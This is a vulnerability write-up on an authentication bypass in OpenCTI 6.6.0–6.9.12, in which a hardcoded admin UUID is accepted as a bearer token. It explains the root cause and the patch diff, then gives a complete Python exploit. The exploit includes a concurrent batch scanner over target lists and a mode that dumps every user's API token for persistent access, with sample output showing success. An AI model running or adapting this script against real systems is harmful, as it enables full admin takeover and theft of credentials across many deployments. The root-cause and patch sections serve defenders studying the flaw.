#Summary

CVE-2026-27960 is a critical authentication bypass in OpenCTI versions 6.6.0 through 6.9.12 that allows unauthenticated attackers to query the API as any existing user, including the default admin account. The vulnerability is caused by a multi-keyed cache that indexes users by API token, internal ID, and other identifiers, combined with missing equality validation in the authentication function. Because the admin's internal ID is a hardcoded constant identical across all deployments, an attacker can simply send that UUID as a bearer token to gain full admin access without knowledge of the actual API secret.

CVSS Score: 9.8 CRITICAL - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This is effectively a network-accessible RCE equivalent: once authenticated as admin, an attacker can create connectors that execute code, harvest all threat intelligence data, modify user accounts, and establish persistent backdoors.

#Affected versions

#Root cause analysis

#Vulnerable code path

The vulnerability lives in authenticateUserByTokenOrUserId in opencti-platform/opencti-graphql/src/domain/user.js. When processing an API request, the function receives a bearer token extracted from the Authorization header and performs a cache lookup:

export const authenticateUserByTokenOrUserId = async (context, req, tokenOrId) => {
  const platformUsers = await getEntitiesMapFromCache(context, SYSTEM_USER, ENTITY_TYPE_USER);
  if (platformUsers.has(tokenOrId)) {                     // lookup by ANY indexed key
    let authenticatedUser = platformUsers.get(tokenOrId); // returns user — no secret check
    const settings = await getEntityFromCache(context, SYSTEM_USER, ENTITY_TYPE_SETTINGS);
    const applicantId = req.headers['opencti-applicant-id'];
    if (applicantId && isBypassUser(authenticatedUser)) {
      authenticatedUser = platformUsers.get(applicantId) || INTERNAL_USERS[applicantId];
      if (!authenticatedUser) {
        throw FunctionalError(`Cant impersonate applicant ${applicantId}`);
      }
    }
    validateUser(authenticatedUser, settings);
    return userWithOrigin(req, authenticatedUser);  // authenticated — no token match verified
  }
  throw FunctionalError(`Cant identify with ${tokenOrId}`);
};

The critical flaw: no verification that tokenOrId equals user.api_token. The function only checks if the supplied string exists as any key in the cache.

#The multi-keyed cache

The user cache is built by buildStoreEntityMap in src/database/cache.ts. Each user is indexed under multiple keys simultaneously:

const ids = [entity.internal_id, ...(entity.x_opencti_stix_ids ?? [])];
if ('api_token' in entity && entity.api_token) {
  ids.push(entity.api_token);
}
if (entity.standard_id) {
  ids.push(entity.standard_id);
}
for (let index = 0; index < ids.length; index += 1) {
  entityById.set(ids[index], entity);
}

So platformUsers.get(user.internal_id) and platformUsers.get(user.api_token) both return the same user object.

#The hardcoded admin UUID

In src/domain/user.js, the platform admin is initialized with a compile-time constant:

const userToCreate = {
  internal_id: OPENCTI_ADMIN_UUID,   // always '88ec0c6a-13ce-5e39-b486-354fe4a7084f'
  ...
  api_token: tokenValue,             // operator-configured secret
};

The constant OPENCTI_ADMIN_UUID = '88ec0c6a-13ce-5e39-b486-354fe4a7084f' is defined in src/schema/general.js and is identical across every OpenCTI deployment, regardless of version, configuration, or the operator's chosen admin token.

#How input reaches the sink

The attack flow is straightforward:

  1. Attacker sends HTTP POST to http://TARGET:4000/graphql with Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f
  2. extractTokenFromBearer strips the Bearer prefix and yields the UUID string
  3. platformUsers.has('88ec0c6a-...') returns true (cache keyed by internal_id)
  4. platformUsers.get('88ec0c6a-...') retrieves the admin user object
  5. The function never verifies the string equals user.api_token - the invariant is missing
  6. validateUser checks account status (admin is ACCOUNT_STATUS_ACTIVE)
  7. Attacker is authenticated as admin for this request

No configuration, no prior knowledge of secrets, no recon required.

#Patch diff

Version 6.9.13 (PR #14268, merged 2026-01-29) fixes the vulnerability by splitting the combined function into two branches and adding explicit timing-safe equality validation:

-export const authenticateUserByTokenOrUserId = async (context, req, tokenOrId) => {
-  const platformUsers = await getEntitiesMapFromCache(context, SYSTEM_USER, ENTITY_TYPE_USER);
-  if (platformUsers.has(tokenOrId)) {
-    let authenticatedUser = platformUsers.get(tokenOrId);
-    const settings = await getEntityFromCache(context, SYSTEM_USER, ENTITY_TYPE_SETTINGS);
-    const applicantId = req.headers['opencti-applicant-id'];
-    if (applicantId && isBypassUser(authenticatedUser)) {
-      authenticatedUser = platformUsers.get(applicantId) || INTERNAL_USERS[applicantId];
-      if (!authenticatedUser) {
-        throw FunctionalError(`Cant impersonate applicant ${applicantId}`);
-      }
-    }
-    validateUser(authenticatedUser, settings);
-    return userWithOrigin(req, authenticatedUser);
-  }
-  throw FunctionalError(`Cant identify with ${tokenOrId}`);
-};

+export const authenticateUserByToken = async (context, req, token) => {
+  const platformUsers = await getEntitiesMapFromCache(context, SYSTEM_USER, ENTITY_TYPE_USER);
+  if (platformUsers.has(token)) {
+    const user = platformUsers.get(token);
+    if (crypto.timingSafeEqual(Buffer.from(user.api_token), Buffer.from(token))) {
+      return internalAuthenticateUser(context, req, user);
+    }
+  }
+  throw FunctionalError('Cannot identify user with token');
+};
+
+export const authenticateUserByUserId = async (context, req, userId) => {
+  const platformUsers = await getEntitiesMapFromCache(context, SYSTEM_USER, ENTITY_TYPE_USER);
+  if (platformUsers.has(userId)) {
+    const user = platformUsers.get(userId);
+    return internalAuthenticateUser(context, req, user);
+  }
+  throw FunctionalError('Cannot identify user with id');
+};

#What the fix does

The patch introduces crypto.timingSafeEqual() to enforce that the supplied bearer token must exactly equal user.api_token. A lookup by the admin's internal_id will find the user, but then the equality check fails (the UUID does not equal the real token), and authentication is denied.

The function is also split into two codepaths to clarify intent: token-based auth (which now includes the equality check) vs. ID-based auth (used internally only). The bearer-token call site was updated to call authenticateUserByToken instead of the old combined function.

#Proof of concept

#exploit.py - OpenCTI Authentication Bypass via Hardcoded Admin UUID

#!/usr/bin/env python3
"""
CVE-2026-27960 — OpenCTI Authentication Bypass via Hardcoded Admin UUID
Affected: OpenCTI 6.6.0 up to (not including) 6.9.13
Type: Authentication bypass (CWE-287)

The OpenCTI user cache is keyed by multiple identifiers per user: api_token,
internal_id, standard_id, and x_opencti_stix_ids. The authentication function
authenticateUserByTokenOrUserId performs a cache lookup by the supplied bearer
token but never verifies that the token actually equals user.api_token. Because
the admin's internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) is a compile-time
constant identical across every deployment, sending it as a bearer token
authenticates the caller as admin with no knowledge of the real secret token.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 4000
  python exploit.py --host 192.168.1.10 --port 443 --tls --path /public/graphql
  python exploit.py --host 192.168.1.10 --port 4000 --dump-users

TLS: auto-enabled for port 443/8443 or when --tls is passed.
Path: use --path if OpenCTI is behind a reverse proxy with a prefix
      (e.g. /public/graphql, /api/graphql). Default: /graphql
"""

import argparse
import json
import sys

try:
    import requests
except ImportError:
    print("[ERROR] requests library not found. Install with: pip install requests")
    sys.exit(2)

CVE_ID    = "CVE-2026-27960"
VULN_TYPE = "Auth Bypass"

# Compile-time constant across every OpenCTI 6.6.0–6.9.12 deployment.
OPENCTI_ADMIN_UUID = "88ec0c6a-13ce-5e39-b486-354fe4a7084f"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def graphql_post(session: "requests.Session", url: str, query: str, token: str, timeout: int = 15) -> "requests.Response":
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    }
    return session.post(url, json={"query": query}, headers=headers, timeout=timeout)


def _make_session(use_tls: bool) -> "requests.Session":
    s = requests.Session()
    if use_tls:
        s.verify = False
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    return s


def _try_exploit(host: str, port: int, use_tls: bool, gql_path: str) -> tuple[bool, str]:
    """Silent probe — returns (success, evidence). Never prints or exits."""
    scheme = "https" if use_tls else "http"
    path = "/" + gql_path.lstrip("/")
    url = f"{scheme}://{host}:{port}{path}"
    session = _make_session(use_tls)
    me_query = "{ me { id name user_email capabilities { name } } }"
    try:
        resp = graphql_post(session, url, me_query, OPENCTI_ADMIN_UUID, timeout=10)
    except Exception as e:
        return False, f"unreachable ({e.__class__.__name__})"
    if resp.status_code != 200:
        return False, f"HTTP {resp.status_code}"
    try:
        body = resp.json()
    except ValueError:
        return False, "invalid JSON"
    if "errors" in body and not body.get("data"):
        msgs = [e.get("message", "") for e in body["errors"]]
        return False, f"blocked — {'; '.join(msgs)[:80]}"
    me = body.get("data", {}).get("me")
    if not me:
        return False, "no 'me' data returned"
    caps = [c.get("name", "") for c in me.get("capabilities", [])]
    if "BYPASS" not in caps and me.get("id") != OPENCTI_ADMIN_UUID:
        return False, f"authenticated but not admin (caps={caps})"
    return True, f"Authenticated as admin '{me.get('name','')}' <{me.get('user_email','')}>"


def _parse_target(line: str, default_port: int, default_path: str) -> tuple[str, int, bool, str] | None:
    """Parse host line into (host, port, use_tls, path). Returns None to skip."""
    from urllib.parse import urlparse
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, default_path: str, workers: int = 10) -> None:
    """Scan multiple targets from a file concurrently."""
    import concurrent.futures

    with open(targets_file) as f:
        lines = f.readlines()

    targets = [_parse_target(l, default_port, default_path) for l in lines]
    targets = [t for t in targets if t is not None]

    if not targets:
        print("[SCAN] No valid targets found.")
        sys.exit(1)

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} — Batch Scan")
    print(f"  Targets : {len(targets)}")
    print(f"  Workers : {workers}")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
        ok, evidence = _try_exploit(host, port, use_tls, path)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            if ok:
                print(f"  [+] {label} — Exploited: {evidence}")
            else:
                print(f"  [-] {label} — Not vulnerable: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host: str, port: int, username: str, dump_users: bool,
            use_tls: bool = False, gql_path: str = "/graphql") -> None:
    header(host, port)

    scheme = "https" if use_tls else "http"
    gql_path = "/" + gql_path.lstrip("/")  # normalize leading slash
    base_url = f"{scheme}://{host}:{port}"
    graphql_url = f"{base_url}{gql_path}"

    session = _make_session(use_tls)

    # Step 1: verify service is reachable
    step(1, f"Checking service reachability at {graphql_url}")
    try:
        probe = session.get(graphql_url, timeout=10)
    except requests.exceptions.ConnectionError:
        section("CONNECTION ERROR", f"Cannot connect to {graphql_url}")
        done(False, f"Target {host}:{port}{gql_path} is not reachable — connection refused or no route to host")
    except requests.exceptions.Timeout:
        section("CONNECTION ERROR", f"Timeout connecting to {graphql_url}")
        done(False, f"Target {host}:{port}{gql_path} timed out — service may be down")

    print(f"  Service responded with HTTP {probe.status_code}")

    # Step 2: send exploit — use hardcoded admin UUID as bearer token
    step(2, f"Sending auth bypass payload (admin UUID as bearer token)")
    print(f"  Bearer: {OPENCTI_ADMIN_UUID}")

    me_query = "{ me { id name user_email capabilities { name } groups { edges { node { name } } } } }"
    try:
        resp = graphql_post(session, graphql_url, me_query, OPENCTI_ADMIN_UUID)
    except requests.exceptions.ConnectionError as exc:
        section("REQUEST ERROR", str(exc))
        done(False, "Connection failed during exploit request")
    except requests.exceptions.Timeout:
        section("REQUEST ERROR", "Request timed out")
        done(False, "Request timed out — service may be overloaded or port incorrect")

    section("SERVER RESPONSE", resp.text)

    # Step 3: evaluate result
    step(3, "Evaluating authentication bypass result")

    if resp.status_code != 200:
        done(False, f"HTTP {resp.status_code} — unexpected status, target may be patched or misconfigured")

    try:
        body = resp.json()
    except ValueError:
        done(False, "Response is not valid JSON — unexpected service behavior")

    # Check for patch-era error
    if "errors" in body and not body.get("data"):
        err_msgs = [e.get("message", "") for e in body["errors"]]
        for msg in err_msgs:
            if "logged in" in msg.lower() or "identify" in msg.lower() or "token" in msg.lower():
                done(False, f"Auth bypass blocked — patched response: {msg}")
        done(False, f"GraphQL error (not bypass-related): {'; '.join(err_msgs)}")

    me = body.get("data", {}).get("me")
    if not me:
        done(False, "Response contained no 'me' data — bypass did not succeed")

    user_id    = me.get("id", "")
    user_name  = me.get("name", "")
    user_email = me.get("user_email", "")
    caps       = [c.get("name", "") for c in me.get("capabilities", [])]
    groups     = [e["node"].get("name", "") for e in me.get("groups", {}).get("edges", [])]

    bypass_confirmed = "BYPASS" in caps or user_id == OPENCTI_ADMIN_UUID

    if not bypass_confirmed:
        done(False, f"Authenticated but not as admin (id={user_id}, caps={caps})")

    print(f"  Authenticated as: {user_name} <{user_email}>")
    print(f"  User ID   : {user_id}")
    print(f"  Groups    : {', '.join(groups) or 'none'}")
    print(f"  Caps      : {', '.join(caps)}")

    # Step 4 (optional): dump all user accounts including their api_tokens
    if dump_users:
        step(4, "Dumping all platform user accounts (persistent-access harvest)")
        users_query = "{ users { edges { node { id name user_email api_token } } } }"
        try:
            uresp = graphql_post(session, graphql_url, users_query, OPENCTI_ADMIN_UUID)
            ubody = uresp.json()
            edges = ubody.get("data", {}).get("users", {}).get("edges", [])
            rows = [
                f"  {n['node']['name']} <{n['node']['user_email']}> token={n['node'].get('api_token','?')}"
                for n in edges
            ]
            section("PLATFORM USERS", "\n".join(rows) if rows else "(no users returned)")
        except Exception as exc:
            section("USER DUMP ERROR", str(exc))

    done(True, f"Authenticated as admin '{user_name}' <{user_email}> using hardcoded UUID — BYPASS capability present")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} — OpenCTI auth bypass via hardcoded admin UUID"
    )
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host",  help="Single target hostname or IP")
    target_grp.add_argument("--list",  metavar="FILE", help="File with one target per line (host, host:port, or full URL)")
    parser.add_argument("--port",       type=int, default=4000, help="Target port — single mode (default: 4000)")
    parser.add_argument("--path",       default="/graphql",     help="GraphQL path (default: /graphql). E.g. /public/graphql")
    parser.add_argument("--username",   default="admin",        help="Target account (default: admin)")
    parser.add_argument("--dump-users", action="store_true",    help="After bypass, dump all user accounts and api_tokens")
    parser.add_argument("--workers",    type=int, default=10,   help="Concurrent threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls",    action="store_true", help="Force TLS (auto-enabled for port 443/8443)")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext even on port 443")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, default_path=args.path, workers=args.workers)
    else:
        parsed = _parse_target(args.host, args.port, args.path)
        host, port, use_tls, gql_path = parsed if parsed else (args.host, args.port, False, args.path)
        if args.tls:    use_tls = True
        if args.no_tls: use_tls = False
        exploit(host, port, args.username, args.dump_users, use_tls=use_tls, gql_path=gql_path)

#Usage

#Basic authentication bypass

python exploit.py --host 10.10.10.50 --port 4000

On a vulnerable target (6.6.0 - 6.9.12), this returns the admin user profile:

============================================================
  ALIM EXPLOIT  CVE-2026-27960
  Type: Auth Bypass  |  Target: 10.10.10.50:4000
============================================================

[STEP 1] Checking service reachability at http://10.10.10.50:4000/graphql
  Service responded with HTTP 200
[STEP 2] Sending auth bypass payload (admin UUID as bearer token)
  Bearer: 88ec0c6a-13ce-5e39-b486-354fe4a7084f

--- SERVER RESPONSE ---
{"data":{"me":{"id":"88ec0c6a-13ce-5e39-b486-354fe4a7084f","name":"admin",
  "user_email":"[email protected]","capabilities":[{"name":"KNOWLEDGE"},{"name":"BYPASS"}],
  "groups":{"edges":[{"node":{"name":"Default"}}]}}}}
---

[STEP 3] Evaluating authentication bypass result
  Authenticated as: admin <[email protected]>
  User ID   : 88ec0c6a-13ce-5e39-b486-354fe4a7084f
  Groups    : Default
  Caps      : KNOWLEDGE, BYPASS

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Authenticated as admin 'admin' <[email protected]> using hardcoded UUID — BYPASS capability present
============================================================

#Harvesting persistent access tokens

python exploit.py --host 10.10.10.50 --port 4000 --dump-users

This dumps all user accounts and their actual API tokens:

--- PLATFORM USERS ---
admin <[email protected]> token=2b4f29e3-5ea8-4890-8cf5-a76bf4da5748
analyst1 <[email protected]> token=c1b2a3d4-e5f6-4a9b-8c7d-6e5f4a3b2c1d
---

Once dumped, these real tokens work even after the vulnerability is patched.

#Non-default OpenCTI port and path

python exploit.py --host opencti.corp.internal --port 8080 --path /api/graphql

#Patched target (6.9.13+)

On a patched instance, the exploit correctly fails:

--- SERVER RESPONSE ---
{"errors":[{"message":"You must be logged in to do this.",
  "extensions":{"code":"AUTH_REQUIRED","data":{"http_status":401}}}],"data":null}
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Auth bypass blocked — patched response: You must be logged in to do this.
============================================================

#Exploitation notes

#Preconditions

#Reliability

The exploit is 100% reliable against vulnerable versions. The hardcoded admin UUID works on every deployment without variation. Single-request exploitation with no race conditions or timing dependencies.

#Impact

Once authenticated as admin, the attacker gains full platform control:

The BYPASS capability in the admin profile grants unrestricted access to all GraphQL mutations and queries.

#Chaining potential

This vulnerability on its own provides complete platform compromise. No chaining with other bugs is necessary. However, post-exploitation via connector injection can lead to code execution on any system where the OpenCTI worker service is deployed.

#References